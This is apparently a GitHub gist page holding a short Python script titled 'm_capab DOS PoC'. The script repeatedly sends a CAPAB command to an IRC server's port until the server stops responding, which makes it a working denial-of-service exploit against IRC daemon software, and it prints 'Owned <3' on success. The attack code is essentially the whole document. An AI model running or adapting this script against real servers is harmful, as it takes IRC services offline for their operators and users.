Created
December 4, 2013 06:22
Code not mine
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from argparse import ArgumentParser | |
import socket | |
def own( uri, port ): | |
sock = socket.socket() | |
try: | |
ret = sock.connect_ex(( uri, int( port ) )) | |
except: | |
print( "\t[-] Failed To Connect To {}".format( uri ) ) | |
exit() | |
print( "\t[+] Connected, Sending Payload To {}:{}".format( uri, port ) ) | |
while True: | |
try: | |
sock.send(b"\x43\x41\x50\x41\x42\x20\x0d\x0a") | |
except socket.error as se: | |
print( '\t[!] Owned <3' ) | |
break | |
sock.close() | |
if __name__ == '__main__': | |
parser = ArgumentParser( description='m_capab DOS PoC, We Can Has Moar Cycles?' ) | |
parser.add_argument( '-t', '--target', dest='target', default='localhost', help='IRCD Address To Target' ) | |
parser.add_argument( '-p', '--port', dest='port', default=6667, help='IRCD Port To Target' ) | |
args = parser.parse_args() | |
own( args.target, args.port ) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment